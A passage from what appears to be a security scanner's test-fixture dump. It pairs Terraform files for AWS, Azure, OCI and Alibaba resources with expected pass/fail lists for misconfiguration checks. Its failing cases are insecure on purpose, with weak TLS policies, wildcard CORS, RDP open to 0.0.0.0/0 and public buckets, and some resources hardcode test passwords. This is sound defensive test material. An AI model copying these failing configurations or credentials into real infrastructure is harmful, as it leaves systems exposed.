service_name       = var.service_name\n    application_family = var.application_family\n    terraformed        = true\n  }\n}\n\nresource \"aws_alb_target_group\" \"public_fargate_target_group\" {\n  name                 = \"${var.environment}-${var.service_name}-public\"\n  port                 = \"8080\"\n  protocol             = \"HTTP\"\n  target_type          = \"ip\"\n  deregistration_delay = \"60\"\n  vpc_id               = data.aws_vpc.vpc.id\n\n  health_check {\n    enabled             = true\n    healthy_threshold   = \"3\"\n    interval            = \"10\"\n    matcher             = \"200\"\n    path                = \"/hello/\"\n    port                = \"8080\"\n    protocol            = \"HTTP\"\n    timeout             = \"5\"\n    unhealthy_threshold = \"3\"\n  }\n\n  stickiness {\n    type            = \"lb_cookie\"\n    cookie_duration = \"86400\"\n    enabled         = false\n  }\n\n  tags = {\n    environment        = var.environment\n    service_name       = var.service_name\n    application_family = var.application_family\n    terraformed        = true\n  }\n\n  depends_on = [aws_alb.public_application_load_balancer]\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/LBWeakCiphers/expected.yaml",
    "content": "fail:\n  - \"aws_lb_listener.front_end_failing\"\n  - \"aws_alb_listener.insecure_listener\"\n  - \"aws_lb_listener.insecure_no_policy\"\npass:\n  - \"aws_lb_listener.front_end_passing\"\n  - \"aws_alb_listener.secure_listener\"\n  - \"aws_alb_listener.secure_listener2\"\n  - \"aws_lb_listener.tcp\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/LBWeakCiphers/main.tf",
    "content": "# FAIL\nresource \"aws_lb_listener\" \"front_end_failing\" {\n  load_balancer_arn = aws_lb.example_failing.arn\n  port              = \"443\"\n  protocol          = \"HTTPS\"\n  ssl_policy        = \"ELBSecurityPolicy-2016-08\" # This policy includes some weak ciphers\n  certificate_arn   = \"arn:aws:acm:us-west-2:123456789012:certificate/abcdef-1234-5678-abcd-123456789012\"\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = aws_lb_target_group.example.arn\n  }\n}\n\nresource \"aws_alb_listener\" \"insecure_listener\" {\n  load_balancer_arn = aws_lb.insecure_lb.arn\n  port              = \"443\"\n  protocol          = \"HTTPS\"\n  ssl_policy        = \"ELBSecurityPolicy-2015-05\" # Weak policy\n\n  certificate_arn = \"arn:aws:acm:region:account:certificate/certificate-id\"\n\n  default_action {\n    type             = \"fixed-response\"\n    fixed_response {\n      content_type = \"text/plain\"\n      message_body = \"Insecure\"\n      status_code  = \"200\"\n    }\n  }\n}\n\nresource \"aws_lb_listener\" \"insecure_no_policy\" {\n  load_balancer_arn = aws_lb.insecure_lb.arn\n  port              = \"443\"\n  protocol          = \"HTTPS\"\n\n  certificate_arn = \"arn:aws:acm:region:account:certificate/certificate-id\"\n\n  default_action {\n    type             = \"fixed-response\"\n    fixed_response {\n      content_type = \"text/plain\"\n      message_body = \"Insecure\"\n      status_code  = \"200\"\n    }\n  }\n}\n\n\n# PASS\nresource \"aws_lb_listener\" \"front_end_passing\" {\n  load_balancer_arn = aws_lb.example_passing.arn\n  port              = \"443\"\n  protocol          = \"HTTPS\"\n  ssl_policy        = \"ELBSecurityPolicy-TLS-1-2-2017-01\" # This policy includes only strong ciphers\n  certificate_arn   = \"arn:aws:acm:us-west-2:123456789012:certificate/abcdef-1234-5678-abcd-123456789012\"\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = aws_lb_target_group.example.arn\n  }\n}\n\nresource \"aws_alb_listener\" \"secure_listener\" {\n  load_balancer_arn = aws_lb.secure_lb.arn\n  port              = \"443\"\n  protocol          = \"HTTPS\"\n  ssl_policy        = \"ELBSecurityPolicy-TLS-1-2-Ext-2018-06\"\n\n  certificate_arn = \"arn:aws:acm:region:account:certificate/certificate-id\"\n\n  default_action {\n    type             = \"fixed-response\"\n    fixed_response {\n      content_type = \"text/plain\"\n      message_body = \"OK\"\n      status_code  = \"200\"\n    }\n  }\n}\n\nresource \"aws_alb_listener\" \"secure_listener2\" {\n  load_balancer_arn = aws_lb.secure_lb.arn\n  port              = \"443\"\n  protocol          = \"HTTPS\"\n  ssl_policy        = \"ELBSecurityPolicy-TLS13-1-2-Ext2-2021-06\"\n\n  certificate_arn = \"arn:aws:acm:region:account:certificate/certificate-id\"\n\n  default_action {\n    type             = \"fixed-response\"\n    fixed_response {\n      content_type = \"text/plain\"\n      message_body = \"OK\"\n      status_code  = \"200\"\n    }\n  }\n}\n\nresource \"aws_lb_listener\" \"tcp\" {\n  load_balancer_arn = aws_lb.external_lb.arn\n  port              = 443\n  protocol          = \"TCP\"\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = aws_lb_target_group.external_tg.arn\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/LambdaOpenCorsPolicy/expected.yaml",
    "content": "pass:\n  - \"aws_lambda_function.valid_lambda_function\"\n  - \"aws_lambda_function.valid_lambda_function_no_cors_definition\"\n  - \"aws_lambda_function.valid_lambda_function_only_allow_origins_star\"\n  - \"aws_lambda_function.valid_lambda_function_only_allow_methods_star\"\n  - \"aws_lambda_function.valid_lambda_function_without_url\"\nfail:\n  - \"aws_lambda_function.invalid_lambda_function\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/LambdaOpenCorsPolicy/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-west-2\"\n}\n\nresource \"aws_lambda_function\" \"valid_lambda_function\" {\n  function_name = \"example_lambda_function\"\n  handler       = \"index.handler\"\n  runtime       = \"nodejs14.x\"\n  role          = aws_iam_role.example_role.arn\n  filename      = \"lambda_function_payload.zip\"\n}\n\nresource \"aws_lambda_function\" \"valid_lambda_function_without_url\" {\n  function_name = \"example_lambda_function\"\n  handler       = \"index.handler\"\n  runtime       = \"nodejs14.x\"\n  role          = aws_iam_role.example_role.arn\n  filename      = \"lambda_function_payload.zip\"\n}\n\nresource \"aws_lambda_function_url\" \"valid_lambda_function_url\" {\n  function_name = aws_lambda_function.valid_lambda_function.function_name\n  cors {\n    allow_origins = [\"https://example.com\"]\n    allow_methods = [\"GET\", \"POST\"]\n  }\n  authorization_type = \"AWS_IAM\"\n}\n\nresource \"aws_lambda_function\" \"valid_lambda_function_no_cors_definition\" {\n  function_name = \"example_lambda_function\"\n  handler       = \"index.handler\"\n  runtime       = \"nodejs14.x\"\n  role          = aws_iam_role.example_role.arn\n  filename      = \"lambda_function_payload.zip\"\n}\n\nresource \"aws_lambda_function_url\" \"valid_lambda_function_url_no_cors_definition\" {\n  function_name = aws_lambda_function.valid_lambda_function_no_cors_definition.function_name\n  authorization_type = \"AWS_IAM\"\n}\n\nresource \"aws_lambda_function\" \"valid_lambda_function_only_allow_origins_star\" {\n  function_name = \"example_lambda_function\"\n  handler       = \"index.handler\"\n  runtime       = \"nodejs14.x\"\n  role          = aws_iam_role.example_role.arn\n  filename      = \"lambda_function_payload.zip\"\n}\n\nresource \"aws_lambda_function_url\" \"valid_lambda_function_url_only_allow_origins_star\" {\n  function_name = aws_lambda_function.valid_lambda_function_only_allow_origins_star.function_name\n  cors {\n    allow_origins = [\"*\"]\n  }\n  authorization_type = \"AWS_IAM\"\n}\n\nresource \"aws_lambda_function\" \"valid_lambda_function_only_allow_methods_star\" {\n  function_name = \"example_lambda_function\"\n  handler       = \"index.handler\"\n  runtime       = \"nodejs14.x\"\n  role          = aws_iam_role.example_role.arn\n  filename      = \"lambda_function_payload.zip\"\n}\n\nresource \"aws_lambda_function_url\" \"valid_lambda_function_url_only_allow_methods_star\" {\n  function_name = aws_lambda_function.valid_lambda_function_only_allow_methods_star.function_name\n  cors {\n    allow_methods = [\"*\"]\n  }\n  authorization_type = \"AWS_IAM\"\n}\n\nresource \"aws_lambda_function\" \"invalid_lambda_function\" {\n  function_name = \"example_lambda_function\"\n  handler       = \"index.handler\"\n  runtime       = \"nodejs14.x\"\n  role          = aws_iam_role.example_role.arn\n  filename      = \"lambda_function_payload.zip\"\n}\n\nresource \"aws_lambda_function_url\" \"invalid_lambda_function_url\" {\n  function_name = aws_lambda_function.invalid_lambda_function.function_name\n  cors {\n    allow_origins = [\"*\"]\n    allow_methods = [\"*\"]\n  }\n  authorization_type = \"AWS_IAM\"\n}\n\nresource \"aws_iam_role\" \"example_role\" {\n  name = \"example_role\"\n\n  assume_role_policy = jsonencode({\n    Version = \"2012-10-17\",\n    Statement = [\n      {\n        Action = \"sts:AssumeRole\",\n        Effect = \"Allow\",\n        Principal = {\n          Service = \"lambda.amazonaws.com\"\n        }\n      }\n    ]\n  })\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/MSQLenablesCustomerManagedKey/expected.yaml",
    "content": "pass:\n  - \"azurerm_mysql_server.ok\"\nfail:\n  - \"azurerm_mysql_server.not_ok\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/MSQLenablesCustomerManagedKey/main.tf",
    "content": "resource \"azurerm_resource_group\" \"ok\" {\n  name     = \"ok-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_key_vault\" \"ok\" {\n  name                     = \"okkv\"\n  location                 = azurerm_resource_group.ok.location\n  resource_group_name      = azurerm_resource_group.ok.name\n  tenant_id                = data.azurerm_client_config.current.tenant_id\n  sku_name                 = \"premium\"\n  purge_protection_enabled = true\n}\n\nresource \"azurerm_key_vault_access_policy\" \"server\" {\n  key_vault_id       = azurerm_key_vault.ok.id\n  tenant_id          = data.azurerm_client_config.current.tenant_id\n  object_id          = azurerm_mysql_server.ok.identity.0.principal_id\n  key_permissions    = [\"get\", \"unwrapkey\", \"wrapkey\"]\n  secret_permissions = [\"get\"]\n}\n\nresource \"azurerm_key_vault_access_policy\" \"client\" {\n  key_vault_id       = azurerm_key_vault.ok.id\n  tenant_id          = data.azurerm_client_config.current.tenant_id\n  object_id          = data.azurerm_client_config.current.object_id\n  key_permissions    = [\"get\", \"create\", \"delete\", \"list\", \"restore\", \"recover\", \"unwrapkey\", \"wrapkey\", \"purge\", \"encrypt\", \"decrypt\", \"sign\", \"verify\"]\n  secret_permissions = [\"get\"]\n}\n\nresource \"azurerm_key_vault_key\" \"ok\" {\n  name         = \"tfex-key\"\n  key_vault_id = azurerm_key_vault.ok.id\n  key_type     = \"RSA\"\n  key_size     = 2048\n  key_opts     = [\"decrypt\", \"encrypt\", \"sign\", \"unwrapKey\", \"verify\", \"wrapKey\"]\n  depends_on = [\n    azurerm_key_vault_access_policy.client,\n    azurerm_key_vault_access_policy.server,\n  ]\n}\n\nresource \"azurerm_mysql_server\" \"ok\" {\n  name                             = \"ok-mysql-server\"\n  location                         = azurerm_resource_group.ok.location\n  resource_group_name              = azurerm_resource_group.ok.name\n  sku_name                         = \"GP_Gen5_2\"\n  administrator_login              = \"acctestun\"\n  administrator_login_password     = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_1\"\n  storage_mb                       = 51200\n  version                          = \"5.6\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_mysql_server_key\" \"ok\" {\n  server_id        = azurerm_mysql_server.ok.id\n  key_vault_key_id = azurerm_key_vault_key.ok.id\n}\n\nresource \"azurerm_mysql_server\" \"not_ok\" {\n  name                             = \"ok-mysql-server\"\n  location                         = azurerm_resource_group.ok.location\n  resource_group_name              = azurerm_resource_group.ok.name\n  sku_name                         = \"GP_Gen5_2\"\n  administrator_login              = \"acctestun\"\n  administrator_login_password     = \"H@Sh1CoR3!\"\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_1\"\n  storage_mb                       = 51200\n  version                          = \"5.6\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/NeptuneDeletionProtectionEnabled/expected.yaml",
    "content": "pass:\n  - \"aws_neptune_cluster.pass\"\nfail:\n  - \"aws_neptune_cluster.fail_1\"\n  - \"aws_neptune_cluster.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/NeptuneDeletionProtectionEnabled/main.tf",
    "content": "# Pass case 1\n\nresource \"aws_neptune_cluster\" \"pass\" {\n  cluster_identifier                  = \"neptune-cluster-demo\"\n  engine                              = \"neptune\"\n  backup_retention_period             = 5\n  preferred_backup_window             = \"07:00-09:00\"\n  skip_final_snapshot                 = true\n  iam_database_authentication_enabled = true\n  apply_immediately                   = true\n  deletion_protection                 = true\n}\n\n# Fail case 1\n\nresource \"aws_neptune_cluster\" \"fail_1\" {\n  cluster_identifier                  = \"neptune-cluster-demo\"\n  engine                              = \"neptune\"\n  backup_retention_period             = 5\n  preferred_backup_window             = \"07:00-09:00\"\n  skip_final_snapshot                 = true\n  iam_database_authentication_enabled = true\n  apply_immediately                   = true\n  deletion_protection                 = false\n}\n\n# Fail case 2\n\n# Note: \n# -------\n# If 'deletion_protection' parameter is not passed then, by default it takes 'deletion_protection' as disabled.\n# Reference: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/neptune_cluster#deletion_protection\n\nresource \"aws_neptune_cluster\" \"fail_2\" {\n  cluster_identifier                  = \"neptune-cluster-demo\"\n  engine                              = \"neptune\"\n  backup_retention_period             = 5\n  preferred_backup_window             = \"07:00-09:00\"\n  skip_final_snapshot                 = true\n  iam_database_authentication_enabled = true\n  apply_immediately                   = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/NetworkFirewallHasLogging/expected.yaml",
    "content": "pass:\n  - \"aws_networkfirewall_firewall.pass\"\nfail:\n  - \"aws_networkfirewall_firewall.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/NetworkFirewallHasLogging/main.tf",
    "content": "resource \"aws_networkfirewall_firewall\" \"fail\" {\n  name                = \"example\"\n  firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn\n  vpc_id              = aws_vpc.example.id\n  subnet_mapping {\n    subnet_id = aws_subnet.example.id\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n}\n\nresource \"aws_networkfirewall_firewall\" \"pass\" {\n  name                = \"example\"\n  firewall_policy_arn = aws_networkfirewall_firewall_policy.example.arn\n  vpc_id              = aws_vpc.example.id\n  subnet_mapping {\n    subnet_id = aws_subnet.example.id\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n}\n\nresource \"aws_networkfirewall_logging_configuration\" \"pass\" {\n  firewall_arn = aws_networkfirewall_firewall.pass.arn\n  logging_configuration {\n    log_destination_config {\n      log_destination = {\n        bucketName = aws_s3_bucket.example.bucket\n        prefix     = \"/example\"\n      }\n      log_destination_type = \"S3\"\n      log_type             = \"FLOW\"\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OCI_K8EngineClusterBootVolConfigInTransitEncryption/expected.yaml",
    "content": "pass:\n  - \"oci_containerengine_node_pool.pass\"\n\nfail:\n  - \"oci_containerengine_node_pool.fail_1\"\n  - \"oci_containerengine_node_pool.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/OCI_K8EngineClusterBootVolConfigInTransitEncryption/main.tf",
    "content": "# PASS: is_pv_encryption_in_transit_enabled is TRUE\n\nresource \"oci_containerengine_node_pool\" \"pass\" {\n\n  node_config_details {\n    is_pv_encryption_in_transit_enabled = true\n  }\n}\n\n# FAIL 1: is_pv_encryption_in_transit_enabled is FALSE\n\nresource \"oci_containerengine_node_pool\" \"fail_1\" {\n\n  node_config_details {\n\n  is_pv_encryption_in_transit_enabled = false\n\n  }\n\n}\n\n# FAIL 2: node_config_details block doesn't contain is_pv_encryption_in_transit_enabled argument\n\nresource \"oci_containerengine_node_pool\" \"fail_2\" {\n\n  node_config_details {\n\n    kms_key_id = oci_kms_key.pud_test_key.id\n\n  }\n\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OCI_K8EngineClusterPodSecPolicyEnforced/expected.yaml",
    "content": "pass:\n  - \"oci_containerengine_cluster.pass\"\n\nfail:\n  - \"oci_containerengine_cluster.fail_1\"\n  - \"oci_containerengine_cluster.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OCI_K8EngineClusterPodSecPolicyEnforced/main.tf",
    "content": "# PASS: \n\nresource \"oci_containerengine_cluster\" \"pass\" {\n\n  options {\n    admission_controller_options {\n      is_pod_security_policy_enabled = \"True\"\n    }\n    persistent_volume_config {\n      freeform_tags = {\n        \"ClusName\" = pud_cluster\n      }\n    }\n  }\n  vcn_id = oci_core_vcn.pud_oci_core_vcn.id\n}\n\n# FAIL 1: is_pod_security_policy_enabled should NOT equals to FALSE\n\nresource \"oci_containerengine_cluster\" \"fail_1\" {\n\n  options {\n    admission_controller_options {\n      is_pod_security_policy_enabled = \"False\"\n    }\n    persistent_volume_config {\n      freeform_tags = {\n        \"ClusName\" = pud_cluster\n      }\n    }\n  }\n  vcn_id = oci_core_vcn.pud_oci_core_vcn.id\n}\n\n# FAIL 2: is_pod_security_policy_enabled argument does NOT exist\n\nresource \"oci_containerengine_cluster\" \"fail_2\" {\n\n  options {\n\n    persistent_volume_config {\n      freeform_tags = {\n        \"ClusName\" = pud_cluster\n      }\n    }\n  }\n  vcn_id = oci_core_vcn.pud_oci_core_vcn.id\n}\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OCI_KubernetesEngineClusterEndpointConfigWithNSG/expected.yaml",
    "content": "pass:\n  - \"oci_containerengine_cluster.pass_1\"\nfail:\n  - \"oci_containerengine_cluster.fail_1\"\n  - \"oci_containerengine_cluster.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OCI_KubernetesEngineClusterEndpointConfigWithNSG/main.tf",
    "content": "resource \"oci_containerengine_cluster\" \"pass_1\" {\n\n  endpoint_config {\n    nsg_ids = [\n      \"ocid1.networksecuritygroup.oc1..pud_cki_1\",\n      \"ocid2.networksecuritygroup.oc1..pud_cki_2\",\n    ]\n  }\n}\n\nresource \"oci_containerengine_cluster\" \"fail_1\" {\n\n  endpoint_config {\n    nsg_ids = \"null\"\n  }\n}\n\nresource \"oci_containerengine_cluster\" \"fail_2\" {\n\n  endpoint_config {\n    nsg_ids = []\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OCI_NFSaccessRestrictedToRootUsers/expected.yaml",
    "content": "pass:\n  - \"oci_file_storage_export.pass_1\"\n  - \"oci_file_storage_export.pass_2\"\n\nfail:\n  - \"oci_file_storage_export.fail_1\"\n  - \"oci_file_storage_export.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/OCI_NFSaccessRestrictedToRootUsers/main.tf",
    "content": "# PASS 1: identity_squash = ROOT, anonymous_gid = 65534 & anonymous_uid = 65534\n\nresource \"oci_file_storage_export\" \"pass_1\" {\n\n  export_options {\n    protocol = \"NFS\"\n    access = \"READ_WRITE\"\n    identity_squash = \"NONE\"\n    anonymous_gid = 65534\n    anonymous_uid = 65534\n  }\n\n  export_options {\n    protocol = \"NFS\"\n    access = \"READ_WRITE\"\n    identity_squash = \"root\"\n    anonymous_gid = 65534\n    anonymous_uid = 65534\n    \n  }\n}\n\n# PASS 2: identity_squash does not contain ROOT, so no validations will run on this snippet.\n\nresource \"oci_file_storage_export\" \"pass_2\" {\n  export_set_id  = oci_file_storage_export_set.fss_pud_export_set.id\n  file_system_id = oci_file_storage_file_system.fss_pud_file_system.id\n  path           = var.export_path_fss_pud\n\n  export_options {\n    source                         = var.pud_subnet_cidr_block\n    access                         = \"READ_WRITE\"\n    identity_squash                = \"NONE\"\n    require_privileged_source_port = true\n  }\n  export_options {\n    source                         = var.pud_web_subnet_cidr_block\n    access                         = \"READ_WRITE\"\n    identity_squash                = \"NONE\"\n    require_privileged_source_port = true\n  }\n}\n\n# FAIL 1: identity_squash = ROOT but anonymous_gid & anonymous_uid don't exist\n\nresource \"oci_file_storage_export\" \"fail_1\" {\n  export_set_id  = oci_file_storage_export_set.fss_pud_export_set.id\n  file_system_id = oci_file_storage_file_system.fss_pud_file_system.id\n  path           = var.export_path_fss_pud\n\n  export_options {\n    source                         = var.pud_subnet_cidr_block\n    access                         = \"READ_WRITE\"\n    identity_squash                = \"ROOT\"\n    require_privileged_source_port = true\n  }\n  export_options {\n    source                         = var.pud_web_subnet_cidr_block\n    access                         = \"READ_WRITE\"\n    identity_squash                = \"NONE\"\n    require_privileged_source_port = true\n  }\n}\n\n# FAIL 2: identity_squash = ROOT but anonymous_gid & anonymous_uid NOT equals to 65534\n\nresource \"oci_file_storage_export\" \"fail_2\" {\n  export_set_id  = oci_file_storage_export_set.fss_pud_export_set.id\n  file_system_id = oci_file_storage_file_system.fss_pud_file_system.id\n  path           = var.export_path_fss_pud\n\n  export_options {\n    source                         = var.pud_subnet_cidr_block\n    access                         = \"READ_WRITE\"\n    identity_squash                = \"NONE\"\n    require_privileged_source_port = true\n  }\n  export_options {\n    source                         = var.pud_web_subnet_cidr_block\n    access                         = \"READ_WRITE\"\n    identity_squash                = \"ROOT\"\n    anonymous_gid = 0\n    anonymous_uid = 4294967295\n    require_privileged_source_port = true\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OCI_NSGNotAllowRDP/expected.yaml",
    "content": "pass:\n  - \"oci_core_network_security_group_security_rule.pass_1\"\n  - \"oci_core_network_security_group_security_rule.pass_2\"\n  - \"oci_core_network_security_group_security_rule.pass_3\"\n\nfail:\n  - \"oci_core_network_security_group_security_rule.fail_1\"\n  - \"oci_core_network_security_group_security_rule.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/OCI_NSGNotAllowRDP/main.tf",
    "content": "# PASS case 1: It passes because source is NOT 0.0.0.0/0\n\nresource \"oci_core_network_security_group_security_rule\" \"pass_1\" {\n  network_security_group_id = oci_core_network_security_group.fail_network_security_group.id\n  protocol                  = \"1\"\n  direction                 = \"INGRESS\"\n  source                    = \"192.168.12.0/0\"\n  stateless                 = true\n\n  tcp_options {\n    destination_port_range {\n      min = 3389\n      max = 3391\n    }\n\n    source_port_range {\n      min = 100\n      max = 100\n    }\n  }\n}\n\n# PASS case 2: It passes because destination port range does not include port 3389\n\nresource \"oci_core_network_security_group_security_rule\" \"pass_2\" {\n  network_security_group_id = oci_core_network_security_group.fail_network_security_group.id\n  protocol                  = \"6\"\n  direction                 = \"INGRESS\"\n  source                    = \"0.0.0.0/0\"\n  stateless                 = true\n\n  tcp_options {\n    destination_port_range {\n      min = 3390\n      max = 3391\n    }\n\n    source_port_range {\n      min = 100\n      max = 100\n    }\n  }\n}\n\n# FAIL case 1: \n# Protocol should not be 1, source should not be 0.0.0.0/0\n# tcp_options.destination_port_range.min should NOT be less than or equals to 3389\n\nresource \"oci_core_network_security_group_security_rule\" \"fail_1\" {\n  network_security_group_id = oci_core_network_security_group.fail_network_security_group.id\n  protocol                  = \"1\"\n  direction                 = \"INGRESS\"\n  source                    = \"0.0.0.0/0\"\n  stateless                 = true\n\n  tcp_options {\n    destination_port_range {\n      min = 3387\n      max = 3391\n    }\n\n    source_port_range {\n      min = 100\n      max = 100\n    }\n  }\n}\n\n\n# FAIL case 2: \n# source should not be 0.0.0.0/0\n# tcp_options.destination_port_range.min should NOT be less than or equals to 3389\n\nresource \"oci_core_network_security_group_security_rule\" \"fail_2\" {\n  network_security_group_id = oci_core_network_security_group.fail_network_security_group.id\n  protocol                  = \"6\"\n  direction                 = \"INGRESS\"\n  source                    = \"0.0.0.0/0\"\n  stateless                 = true\n\n  tcp_options {\n    destination_port_range {\n      min = 3389\n      max = 3389\n    }\n\n    source_port_range {\n      min = 100\n      max = 100\n    }\n  }\n}\n\n\nresource \"oci_core_network_security_group_security_rule\" \"pass_3\" {\n  count = (var.nsg_id == \"\" ? 1:0)\n\n  network_security_group_id = oci_core_network_security_group.network_security_group[0].id\n  direction = \"EGRESS\"\n  protocol = \"6\" #tcp\n\n  description = \"rule_allow_22_e_within\"\n  destination = oci_core_network_security_group.network_security_group[0].id\n  destination_type = \"NETWORK_SECURITY_GROUP\"\n\n  tcp_options {\n    destination_port_range {\n      max = 22\n      min = 22\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OSSBucketPublic/expected.yaml",
    "content": "pass:\n  - \"alicloud_oss_bucket.pass_no_attach\"\n  - \"alicloud_oss_bucket.pass_simple\"\n  - \"alicloud_oss_bucket.pass\"\nfail:\n  - \"alicloud_oss_bucket.fail\"\n  - \"alicloud_oss_bucket.fail2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OSSBucketPublic/main.tf",
    "content": "resource \"alicloud_oss_bucket\" \"fail\" {\n  bucket = \"example-value\"\n  acl    = \"public-read\"\n}\n\nresource \"alicloud_oss_bucket\" \"pass_simple\" {\n  bucket = \"example-value\"\n  acl    = \"private\"\n}\n\nresource \"alicloud_oss_bucket\" \"pass\" {\n  bucket = \"example-value\"\n}\n\nresource \"alicloud_oss_bucket_acl\" \"pass\" {\n  bucket = alicloud_oss_bucket.pass.bucket\n  acl    = \"private\"\n}\n\nresource \"alicloud_oss_bucket\" \"fail2\" {\n  bucket = \"example-value\"\n}\n\nresource \"alicloud_oss_bucket_acl\" \"fail2\" {\n  bucket = alicloud_oss_bucket.fail2.bucket\n  acl    = \"public-read\"\n}\n\nresource \"alicloud_oss_bucket\" \"pass_no_attach\" {\n  bucket = \"example-value\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OpenSearchDomainHasFineGrainedControl/expected.yaml",
    "content": "pass:\n  - \"aws_elasticsearch_domain.es_pass\"\n  - \"aws_opensearch_domain.os_pass\"\n  - \"aws_opensearch_domain.os_pass1\"\nfail:\n  - \"aws_opensearch_domain.os_fail_2\"\n  - \"aws_elasticsearch_domain.es_fail_2\"\n  - \"aws_elasticsearch_domain.es_fail_1\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/OpenSearchDomainHasFineGrainedControl/main.tf",
    "content": "resource \"aws_opensearch_domain\" \"os_pass1\" {\n  domain_name    = \"ggkitty\"\n  engine_version = \"Elasticsearch_7.1\"\n\n  cluster_config {\n    instance_type = \"r5.large.search\"\n  }\n\n  advanced_security_options {\n    enabled                        = true\n    anonymous_auth_enabled         = true\n    internal_user_database_enabled = false\n    master_user_options {\n      master_user_name     = \"example\"\n      master_user_password = \"Barbarbarbar1!\"\n    }\n  }\n\n  encrypt_at_rest {\n    enabled = true\n  }\n\n  domain_endpoint_options {\n    enforce_https       = true\n    tls_security_policy = \"Policy-Min-TLS-1-2-2019-07\"\n  }\n\n  node_to_node_encryption {\n    enabled = true\n  }\n\n  ebs_options {\n    ebs_enabled = true\n    volume_size = 10\n  }\n}\n\nresource \"aws_opensearch_domain\" \"os_fail_2\" {\n  domain_name    = \"ggkitty\"\n  engine_version = \"Elasticsearch_7.1\"\n\n  cluster_config {\n    instance_type = \"r5.large.search\"\n  }\n\n  advanced_security_options {\n    enabled                        = false\n    anonymous_auth_enabled         = true\n    internal_user_database_enabled = false\n    master_user_options {\n      master_user_name     = \"example\"\n      master_user_password = \"Barbarbarbar1!\"\n    }\n  }\n\n  encrypt_at_rest {\n    enabled = true\n  }\n\n  domain_endpoint_options {\n    enforce_https       = true\n    tls_security_policy = \"Policy-Min-TLS-1-2-2019-07\"\n  }\n\n  node_to_node_encryption {\n    enabled = true\n  }\n\n  ebs_options {\n    ebs_enabled = true\n    volume_size = 10\n  }\n}\n\nresource \"aws_opensearch_domain\" \"os_pass\" {\n  domain_name    = \"ggkitty\"\n  engine_version = \"Elasticsearch_7.1\"\n\n  cluster_config {\n    instance_type = \"r5.large.search\"\n  }\n\n  advanced_security_options {\n    enabled                        = true\n    anonymous_auth_enabled         = true\n    internal_user_database_enabled = true\n    master_user_options {\n      master_user_name     = \"example\"\n      master_user_password = \"Barbarbarbar1!\"\n    }\n  }\n\n  encrypt_at_rest {\n    enabled = true\n  }\n\n  domain_endpoint_options {\n    enforce_https       = true\n    tls_security_policy = \"Policy-Min-TLS-1-2-2019-07\"\n  }\n\n  node_to_node_encryption {\n    enabled = true\n  }\n\n  ebs_options {\n    ebs_enabled = true\n    volume_size = 10\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"es_fail_1\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  advanced_security_options {\n    enabled                        = false\n    anonymous_auth_enabled         = true\n    internal_user_database_enabled = false\n    master_user_options {\n      master_user_name     = \"example\"\n      master_user_password = \"Barbarbarbar1!\"\n    }\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"es_fail_2\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  advanced_security_options {\n    enabled                        = false\n    anonymous_auth_enabled         = true\n    internal_user_database_enabled = false\n    master_user_options {\n      master_user_name     = \"example\"\n      master_user_password = \"Barbarbarbar1!\"\n    }\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"es_pass\" {\n  domain_name           = \"example\"\n  elasticsearch_version = \"7.10\"\n\n  cluster_config {\n    instance_type = \"r4.large.elasticsearch\"\n  }\n\n  advanced_security_options {\n    enabled                        = false\n    anonymous_auth_enabled         = true\n    internal_user_database_enabled = true\n    master_user_options {\n      master_user_name     = \"example\"\n      master_user_password = \"Barbarbarbar1!\"\n    }\n  }\n\n  tags = {\n    Domain = \"TestDomain\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/PGSQLenablesCustomerManagedKey/expected.yaml",
